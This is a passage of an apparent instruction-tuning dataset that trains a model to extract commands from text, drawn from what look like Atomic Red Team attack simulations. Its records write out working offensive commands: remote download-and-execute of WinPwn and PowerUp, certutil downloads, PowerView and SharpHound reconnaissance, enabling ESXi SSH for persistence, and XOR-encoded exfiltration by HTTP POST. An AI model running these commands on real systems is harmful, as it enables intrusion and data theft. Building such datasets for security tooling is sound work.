backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To search for printers and potential vulnerabilities, use the printercheck function of WinPwn with the following command: iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\nprintercheck -noninteractive -consoleoutput",
    "output": "{\"command_list\": [\"iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\\nprintercheck -noninteractive -consoleoutput\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To download a file from the web using certutil's -verifyctl argument, run the following commands: $datePath = \"certutil-$(Get-Date -format yyyy_MM_dd)\"\nNew-Item -Path $datePath -ItemType Directory\nSet-Location $datePath\ncertutil -verifyctl -split -f #{remote_file}\nGet-ChildItem | Where-Object {$_.Name -notlike \"*.txt\"} | Foreach-Object { Move-Item $_.Name -Destination #{local_path} }",
    "output": "{\"command_list\": [\"$datePath = \\\"certutil-$(Get-Date -format yyyy_MM_dd)\\\"\\nNew-Item -Path $datePath -ItemType Directory\\nSet-Location $datePath\\ncertutil -verifyctl -split -f #{remote_file}\\nGet-ChildItem | Where-Object {$_.Name -notlike \\\"*.txt\\\"} | Foreach-Object { Move-Item $_.Name -Destination #{local_path} }\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    On macOS systems, you can view the password policy with the command: pwpolicy getaccountpolicies",
    "output": "{\"command_list\": [\"pwpolicy getaccountpolicies\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For discovering shares across the domain, execute this PowerShell command that loads PowerView: Import-Module \"PathToAtomicsFolder\\..\\ExternalPayloads\\PowerView.ps1\"\nInvoke-ShareFinder #{parameters}\n",
    "output": "{\"command_list\": [\"Import-Module \\\"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\PowerView.ps1\\\"\\nInvoke-ShareFinder #{parameters}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For persistence, the attacker enables SSH on the ESXi host via the command: echo \"\" | \"#{plink_file}\" -batch \"#{vm_host}\" -ssh -l #{vm_user} -pw \"#{vm_pass}\" \"vim-cmd hostsvc/enable_ssh\"",
    "output": "{\"command_list\": [\"echo \\\"\\\" | \\\"#{plink_file}\\\" -batch \\\"#{vm_host}\\\" -ssh -l #{vm_user} -pw \\\"#{vm_pass}\\\" \\\"vim-cmd hostsvc/enable_ssh\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For XOR encoding the plaintext with a key and posting the result to a destination URL, run the following PowerShell script: $plaintext = ([system.Text.Encoding]::UTF8.getBytes(\"#{plaintext}\"))\n$key = \"#{key}\"\n$cyphertext =  @();\nfor ($i = 0; $i -lt $plaintext.Count; $i++) {\n $cyphertext += $plaintext[$i] -bxor $key[$i % $key.Length];\n}\n$cyphertext = [system.Text.Encoding]::UTF8.getString($cyphertext)\n[System.Net.ServicePointManager]::Expect100Continue = $false\nInvoke-WebRequest -Uri #{destination_url} -Method POST -Body $cyphertext -DisableKeepAlive",
    "output": "{\"command_list\": [\"$plaintext = ([system.Text.Encoding]::UTF8.getBytes(\\\"#{plaintext}\\\"))\\n$key = \\\"#{key}\\\"\\n$cyphertext =  @();\\nfor ($i = 0; $i -lt $plaintext.Count; $i++) {\\n $cyphertext += $plaintext[$i] -bxor $key[$i % $key.Length];\\n}\\n$cyphertext = [system.Text.Encoding]::UTF8.getString($cyphertext)\\n[System.Net.ServicePointManager]::Expect100Continue = $false\\nInvoke-WebRequest -Uri #{destination_url} -Method POST -Body $cyphertext -DisableKeepAlive\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This test mimics a user clicking a phishing link to download a malicious file, which can be executed with the command: $url = 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1566.001/bin/PhishingAttachment.xlsm'\n[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nInvoke-WebRequest -Uri $url -OutFile $env:TEMP\\PhishingAttachment.xlsm\n",
    "output": "{\"command_list\": [\"$url = 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1566.001/bin/PhishingAttachment.xlsm'\\n[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\nInvoke-WebRequest -Uri $url -OutFile $env:TEMP\\\\PhishingAttachment.xlsm\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: 